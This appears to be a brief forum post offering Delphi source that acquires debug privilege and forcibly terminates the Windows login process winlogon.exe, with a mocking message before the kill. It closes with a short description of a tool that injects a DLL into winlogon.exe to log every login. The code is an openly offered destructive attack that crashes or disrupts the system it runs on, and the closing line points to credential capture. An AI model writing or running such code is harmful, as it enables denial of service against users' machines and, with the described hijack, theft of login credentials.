Ubijanje Winlogon.exe servisa!

Code:

Description:
winlogon.exe is a process belonging to the Windows
 login manager. It handles the login and logout procedures on
 your system. This program is important for the stable and secure
 running of your computer and should not be terminated.

Code:




unit Unit2;




interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, ShellApi, Tlhelp32;

type
  TForm2 = class(TForm)
    Button1: TButton;
    ListBox1: TListBox;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form2: TForm2;

implementation

{$R *.dfm}

const SE_DEBUG_NAME='SeDebugPrivilege';

procedure TForm2.Button1Click(Sender: TObject);
var hSnapHandle:THandle;
    lpProcE:TProcessEntry32;

    hToken:THandle;
    sedebugnameValue:TLargeInteger;
    tkp, ptkpPrev:TOKEN_PRIVILEGES;
    bRet:Boolean;
    ulRet:ULONG;

    _handleWL:THandle;
    _exitCode:DWORD;


begin



if not OpenProcessToken(GetCurrentProcess(),
        TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken) then
     ShowMessage('Nece');

    bRet:=LookupPrivilegeValue( Nil, SE_DEBUG_NAME, sedebugnameValue);
    if not bRet then
        CloseHandle(hToken);
  

    tkp.PrivilegeCount:= 1;
    tkp.Privileges[0].Luid:=sedebugnameValue;
    tkp.Privileges[0].Attributes:=SE_PRIVILEGE_ENABLED;

  ptkpPrev:=tkp;
    bRet:=AdjustTokenPrivileges(hToken,FALSE,&tkp,sizeof(ptkpPrev),ptkpPrev,ulRet);

    CloseHandle(hToken);



hSnapHandle:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);
if hSnapHandle<>0 then
begin
  if Process32First(hSnapHandle, lpProcE)=true then
    begin
       while Process32Next(hSnapHandle, lpProcE) do
        begin
         _handleWL:=OpenProcess(PROCESS_ALL_ACCESS,false,lpProcE.th32ProcessID);
         ListBox1.Items.Add(lpProcE.szExeFile+'--'+IntToStr(_handleWL));
         if lpProcE.szExeFile='winlogon.exe' then
          begin
           ShowMessage('Sad cu da ga razvalim!!! :P');
           GetExitCodeProcess(_handleWL, _exitCode);
           TerminateProcess(_handleWL, exitCode);
          end;
          CloseHandle(_handleWL);
        end;
    end;
end;


end;
end.

Code:

Short Description:   
 Winlogonhijack injects a dll
 into winlogon.exe and hooks msgina.WlxLoggedOutSAS,
 logging every login